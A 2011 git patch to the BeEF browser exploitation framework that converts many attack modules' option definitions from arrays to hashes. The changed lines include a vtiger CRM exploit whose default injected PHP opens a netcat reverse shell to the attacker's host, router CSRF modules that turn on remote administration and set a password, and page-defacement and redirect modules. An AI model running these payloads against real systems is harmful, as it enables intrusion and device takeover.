From 9d908132404ec636d9ee88e6592622d1f9505172 Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Tue, 18 Jan 2011 12:53:56 +0000 Subject: [PATCH] The superfluous JSON array (of size one) wrapping a hash in each input element has been removed. Thus, there is no need for the following instruction with each element: if(typeof input[0] == 'object') { input = input[0]; } git-svn-id: https://beef.googlecode.com/svn/trunk@700 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- lib/modules/msfcommand.rb | 24 ++++++++++--------- .../detect_visited_urls.rb | 2 +- .../browser/link_rewrite/link_rewrite.rb | 4 ++-- .../browser/site_redirect/site_redirect.rb | 2 +- .../site_redirect_iframe.rb | 6 ++--- .../host/iphone_skype/iphone_skype.rb | 11 +++------ .../commands/host/iphone_tel/iphone_tel.rb | 11 +++------ .../misc/alert_dialog/alert_dialog.rb | 4 +++- .../misc/deface_web_page/deface_web_page.rb | 13 +++------- .../misc/prompt_dialog/prompt_dialog.rb | 4 +++- .../misc/raw_javascript/raw_javascript.rb | 4 +--- .../misc/replace_video/replace_video.rb | 4 ++-- .../linksys_befsr41_csrf/befsr41_csrf.rb | 6 ++++- .../linksys_wrt54g2_csrf/wrt54g2_csrf.rb | 6 ++++- .../linksys_wrt54g_csrf/wrt54g_csrf.rb | 6 ++++- .../vtiger_crm_upload_exploit.rb | 8 +++---- .../detect_cookies_support/detect_cookies.rb | 4 +++- .../commands/recon/detect_tor/detect_tor.rb | 7 +++--- public/javascript/ui/panel/common.js | 7 +++--- 19 files changed, 66 insertions(+), 67 deletions(-) diff --git a/lib/modules/msfcommand.rb b/lib/modules/msfcommand.rb index c29281ece..2fd043466 100644 --- a/lib/modules/msfcommand.rb +++ b/lib/modules/msfcommand.rb @@ -76,14 +76,14 @@ class Msf < BeEF::Command msfoptions.keys.each { |k| next if msfoptions[k]['advanced'] == true next if msfoptions[k]['evasion'] == true - @info['Data'] << [ 'name' => k + '_txt', 'type' => 'label', 'html' => msfoptions[k]['desc']] + @info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'html' => msfoptions[k]['desc']} case msfoptions[k]['type'] when "string","address","port" - @info['Data'] << ['name' => k , 'ui_label' => k, 'value' => msfoptions[k]['default']] + @info['Data'] << {'name' => k , 'ui_label' => k, 'value' => msfoptions[k]['default']} when "bool" - @info['Data'] << ['name' => k, 'type' => 'checkbox', 'ui_label' => k ] + @info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k } when "enum" - @info['Data'] << [ 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => msfoptions[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => msfoptions[k]['default']] + @info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => msfoptions[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => msfoptions[k]['default']} else print "K => #{k}\n" print "Status => #{msfoptions[k]['advanced']}\n" @@ -97,7 +97,7 @@ class Msf < BeEF::Command pl << [p] } - @info['Data'] << [ 'name' => 'Payload', + @info['Data'] << { 'name' => 'Payload', 'type' => 'combobox', 'ui_label' => 'Payload', 'store_type' => 'arraystore', @@ -108,7 +108,7 @@ class Msf < BeEF::Command 'autoWidth' => true, 'mode' => 'local', 'reloadOnChange' => true, # this will trigger a reload of the payload options - 'emptyText' => "select a payload..."] + 'emptyText' => "select a payload..."} end @@ -124,14 +124,14 @@ class Msf < BeEF::Command payload_options.keys.each { |k| next if payload_options[k]['advanced'] == true next if payload_options[k]['evasion'] == true - info['Data'] << [ 'name' => k + '_txt', 'type' => 'label', 'html' => payload_options[k]['desc']] + info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'html' => payload_options[k]['desc']} case payload_options[k]['type'] - when "string","address","port","raw","path" - info['Data'] << ['name' => k , 'ui_label' => k, 'value' => payload_options[k]['default']] + when "string","address","port","raw","path", "integer" + info['Data'] << {'name' => k , 'ui_label' => k, 'value' => payload_options[k]['default']} when "bool" - info['Data'] << ['name' => k, 'type' => 'checkbox', 'ui_label' => k ] + info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k } when "enum" - info['Data'] << [ 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => payload_options[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => payload_options[k]['default']] + info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => payload_options[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => payload_options[k]['default']} else # Debug output if the payload option type isn't found puts "K => #{k}\n" @@ -145,6 +145,8 @@ class Msf < BeEF::Command payload_options_json = [] payload_options_json[1] = JSON.parse(info.to_json) + JSON.parse(info.to_json) + end end diff --git a/modules/commands/browser/detect_visited_urls/detect_visited_urls.rb b/modules/commands/browser/detect_visited_urls/detect_visited_urls.rb index f7c441e32..3098c814f 100644 --- a/modules/commands/browser/detect_visited_urls/detect_visited_urls.rb +++ b/modules/commands/browser/detect_visited_urls/detect_visited_urls.rb @@ -11,7 +11,7 @@ class Detect_visited_urls < BeEF::Command 'Category' => 'Browser', 'Author' => ['passbe'], 'Data' => [ - ['ui_label'=>'URL(s)', 'name'=>'urls', 'type'=>'textarea', 'value'=>'http://www.bindshell.net/', 'width'=>'200px'] + { 'ui_label'=>'URL(s)', 'name'=>'urls', 'type'=>'textarea', 'value'=>'http://www.bindshell.net/', 'width'=>'200px' } ], 'File' => __FILE__ }) diff --git a/modules/commands/browser/link_rewrite/link_rewrite.rb b/modules/commands/browser/link_rewrite/link_rewrite.rb index b4ee5aec6..80e95ff9c 100644 --- a/modules/commands/browser/link_rewrite/link_rewrite.rb +++ b/modules/commands/browser/link_rewrite/link_rewrite.rb @@ -11,8 +11,8 @@ class Link_rewrite < BeEF::Command 'Category' => 'Browser', 'Author' => ['passbe'], 'Data' => [ - ['ui_label'=>'URL', 'name'=>'url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px'], - ['ui_label'=>'jQuery Selector', 'name'=>'selector', 'value'=>'a', 'width'=>'200px'] + { 'ui_label'=>'URL', 'name'=>'url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px' }, + { 'ui_label'=>'jQuery Selector', 'name'=>'selector', 'value'=>'a', 'width'=>'200px' } ], 'File' => __FILE__ }) diff --git a/modules/commands/browser/site_redirect/site_redirect.rb b/modules/commands/browser/site_redirect/site_redirect.rb index 97dd435ef..42e3ed610 100644 --- a/modules/commands/browser/site_redirect/site_redirect.rb +++ b/modules/commands/browser/site_redirect/site_redirect.rb @@ -11,7 +11,7 @@ class Site_redirect < BeEF::Command 'Category' => 'Browser', 'Author' => ['wade', 'vo'], 'Data' => [ - ['ui_label'=>'Redirect URL', 'name'=>'redirect_url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px'] + { 'ui_label'=>'Redirect URL', 'name'=>'redirect_url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px' } ], 'File' => __FILE__ }) diff --git a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb index 33730effb..34382ebcb 100644 --- a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb +++ b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb @@ -15,9 +15,9 @@ class Site_redirect_iframe < BeEF::Command 'Category' => 'Browser', 'Author' => ['ethicalhack3r, Yori Kvitchko'], 'Data' => [ - ['name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px'], - ['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'], - ['name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px'] + { 'name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px' }, + { 'name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px' }, + { 'name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px' } ], 'File' => __FILE__ }) diff --git a/modules/commands/host/iphone_skype/iphone_skype.rb b/modules/commands/host/iphone_skype/iphone_skype.rb index cb02b27a8..f9822f9a5 100644 --- a/modules/commands/host/iphone_skype/iphone_skype.rb +++ b/modules/commands/host/iphone_skype/iphone_skype.rb @@ -16,14 +16,9 @@ class Iphone_skype < BeEF::Command The protocol handler used will be: skype', 'Category' => 'Host', 'Author' => 'xntrik, Nitesh Dhanjani', - 'Data' => - [ - [ 'name' => 'tel_num', - 'ui_label'=>'Number', - 'value' =>'5551234', - 'width' => '200px' - ], - ], + 'Data' => [ + { 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234', 'width' => '200px' } + ], 'File' => __FILE__ }) diff --git a/modules/commands/host/iphone_tel/iphone_tel.rb b/modules/commands/host/iphone_tel/iphone_tel.rb index 47e4d1550..4a52ed482 100644 --- a/modules/commands/host/iphone_tel/iphone_tel.rb +++ b/modules/commands/host/iphone_tel/iphone_tel.rb @@ -17,14 +17,9 @@ class Iphone_tel < BeEF::Command The protocol handler used will be: tel', 'Category' => 'Host', 'Author' => 'xntrik, Nitesh Dhanjani', - 'Data' => - [ - [ 'name' => 'tel_num', - 'ui_label'=>'Number', - 'value' =>'5551234', - 'width' => '200px' - ], - ], + 'Data' => [ + { 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' }, + ], 'File' => __FILE__ }) diff --git a/modules/commands/misc/alert_dialog/alert_dialog.rb b/modules/commands/misc/alert_dialog/alert_dialog.rb index b9d42bbfb..a4b6038ee 100644 --- a/modules/commands/misc/alert_dialog/alert_dialog.rb +++ b/modules/commands/misc/alert_dialog/alert_dialog.rb @@ -14,7 +14,9 @@ class Alert_dialog < BeEF::Command 'Description' => 'Sends an alert dialog to the victim', 'Category' => 'Misc', 'Author' => 'bm', - 'Data' => [['name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px']], + 'Data' => [ + {'name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px'} + ], 'File' => __FILE__ }) diff --git a/modules/commands/misc/deface_web_page/deface_web_page.rb b/modules/commands/misc/deface_web_page/deface_web_page.rb index e03233cea..ffcff7b74 100644 --- a/modules/commands/misc/deface_web_page/deface_web_page.rb +++ b/modules/commands/misc/deface_web_page/deface_web_page.rb @@ -14,16 +14,9 @@ class Deface_web_page < BeEF::Command 'Description' => 'Overwrite the body of the page the victim is on with the "Deface Content" string', 'Category' => 'Misc', 'Author' => 'antisnatchor', - 'Data' => - [ - [ 'name' => 'deface_content', - 'ui_label'=>'Deface Content', - 'type' => 'textarea', - 'value' =>'Defaced!', - 'width' => '400px', - 'height' => '100px' - ], - ], + 'Data' => [ + { 'name' => 'deface_content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'Defaced!', 'width' => '400px', 'height' => '100px' }, + ], 'File' => __FILE__ }) diff --git a/modules/commands/misc/prompt_dialog/prompt_dialog.rb b/modules/commands/misc/prompt_dialog/prompt_dialog.rb index 733d9e28d..c53baf894 100644 --- a/modules/commands/misc/prompt_dialog/prompt_dialog.rb +++ b/modules/commands/misc/prompt_dialog/prompt_dialog.rb @@ -10,7 +10,9 @@ class Prompt_dialog < BeEF::Command 'Description' => 'Sends a prompt dialog to the victim', 'Category' => 'Misc', 'Author' => 'bm', - 'Data' => [['name' =>'question', 'ui_label'=>'Prompt text']], + 'Data' => [ + {'name' =>'question', 'ui_label'=>'Prompt text'} + ], 'File' => __FILE__ }) diff --git a/modules/commands/misc/raw_javascript/raw_javascript.rb b/modules/commands/misc/raw_javascript/raw_javascript.rb index bebb21869..3eddcf95e 100644 --- a/modules/commands/misc/raw_javascript/raw_javascript.rb +++ b/modules/commands/misc/raw_javascript/raw_javascript.rb @@ -17,9 +17,7 @@ class Raw_javascript < BeEF::Command 'Author' => ['wade','vo'], 'Data' => [ - ['name' => 'cmd', 'ui_label' => 'Javascript Code', - 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';", - 'type' => 'textarea', 'width' => '400px', 'height' => '100px'], + {'name' => 'cmd', 'ui_label' => 'Javascript Code', 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';", 'type' => 'textarea', 'width' => '400px', 'height' => '100px'}, ], 'File' => __FILE__ }) diff --git a/modules/commands/misc/replace_video/replace_video.rb b/modules/commands/misc/replace_video/replace_video.rb index 6bc93bdbe..dfd07c1dc 100644 --- a/modules/commands/misc/replace_video/replace_video.rb +++ b/modules/commands/misc/replace_video/replace_video.rb @@ -16,8 +16,8 @@ class Replace_video < BeEF::Command 'Author' => 'Yori Kvitchko', 'Data' => [ - ['name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'dQw4w9WgXcQ', 'width'=>'150px'], - ['name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'] + {'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'dQw4w9WgXcQ', 'width'=>'150px'}, + {'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'} ], 'File' => __FILE__ }) diff --git a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb index af13791bd..d82cabbb0 100644 --- a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb +++ b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb @@ -14,7 +14,11 @@ class Befsr41_csrf < BeEF::Command 'Description' => 'Attempts to enable remote administration and change the password on a Linksys BEFSR41 router.', 'Category' => 'Network', 'Author' => 'Martin Barbella', - 'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']], + 'Data' => [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ], 'File' => __FILE__ }) diff --git a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb index 3d92991bd..477d50a93 100644 --- a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb +++ b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb @@ -14,7 +14,11 @@ class Wrt54g2_csrf < BeEF::Command 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G2 router.', 'Category' => 'Network', 'Author' => 'Martin Barbella', - 'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']], + 'Data' => [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ], 'File' => __FILE__ }) diff --git a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb index bcdd3d6eb..bb00af083 100644 --- a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb +++ b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb @@ -14,7 +14,11 @@ class Wrt54g_csrf < BeEF::Command 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G router.', 'Category' => 'Network', 'Author' => 'Martin Barbella', - 'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']], + 'Data' => [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ], 'File' => __FILE__ }) diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb index 27227482a..b50933cf1 100644 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb +++ b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb @@ -24,10 +24,10 @@ class Vtiger_crm_upload_exploit < BeEF::Command 'Author' => ['wade', 'bm', 'pipes', 'xntrik'], 'Data' => [ - ['name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'], - ['name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'], - ['name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'], - ['name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'] + {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'}, + {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'}, + {'name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'}, + {'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'} ], 'File' => __FILE__ }) diff --git a/modules/commands/recon/detect_cookies_support/detect_cookies.rb b/modules/commands/recon/detect_cookies_support/detect_cookies.rb index 9223921a2..678c0a19a 100644 --- a/modules/commands/recon/detect_cookies_support/detect_cookies.rb +++ b/modules/commands/recon/detect_cookies_support/detect_cookies.rb @@ -12,7 +12,9 @@ class Detect_cookies < BeEF::Command This module will check if the browser allows a cookie with specified name to be set. }, 'Category' => 'Recon', - 'Data' => [['name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie']], + 'Data' => [ + {'name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie'} + ], 'Author' => ['vo'], 'File' => __FILE__ }) diff --git a/modules/commands/recon/detect_tor/detect_tor.rb b/modules/commands/recon/detect_tor/detect_tor.rb index 4f0e7a611..92469b9f0 100644 --- a/modules/commands/recon/detect_tor/detect_tor.rb +++ b/modules/commands/recon/detect_tor/detect_tor.rb @@ -10,10 +10,9 @@ class Detect_tor < BeEF::Command 'Description' => 'This module will detect if the zombie is currently using TOR (The Onion Router).', 'Category' => 'Recon', 'Author' => ['pdp', 'wade', 'bm', 'xntrik'], - 'Data' => - [ - ['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000'] - ], + 'Data' => [ + {'name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000'} + ], 'File' => __FILE__ }) diff --git a/public/javascript/ui/panel/common.js b/public/javascript/ui/panel/common.js index b33206b3c..785da0802 100644 --- a/public/javascript/ui/panel/common.js +++ b/public/javascript/ui/panel/common.js @@ -15,10 +15,6 @@ var re_execute_command_title = 'Re-execute command' function genExploitFormControl(form, input, value, disabled, zombie, sb) { var input_field = null; var input_def = null; - - if(typeof input[0] == 'object') { - input = input[0]; - } if (!input['ui_label']) input['ui_label'] = input['name']; if (!input['type']) input['type'] = 'textfield'; @@ -35,6 +31,9 @@ function genExploitFormControl(form, input, value, disabled, zombie, sb) { // create the input field object based upon the type supplied switch(input['type'].toLowerCase()) { + case 'textfield': + input_field = new Ext.form.TextField(input_def); + break; case 'textarea': input_field = new Ext.form.TextArea(input_def); break;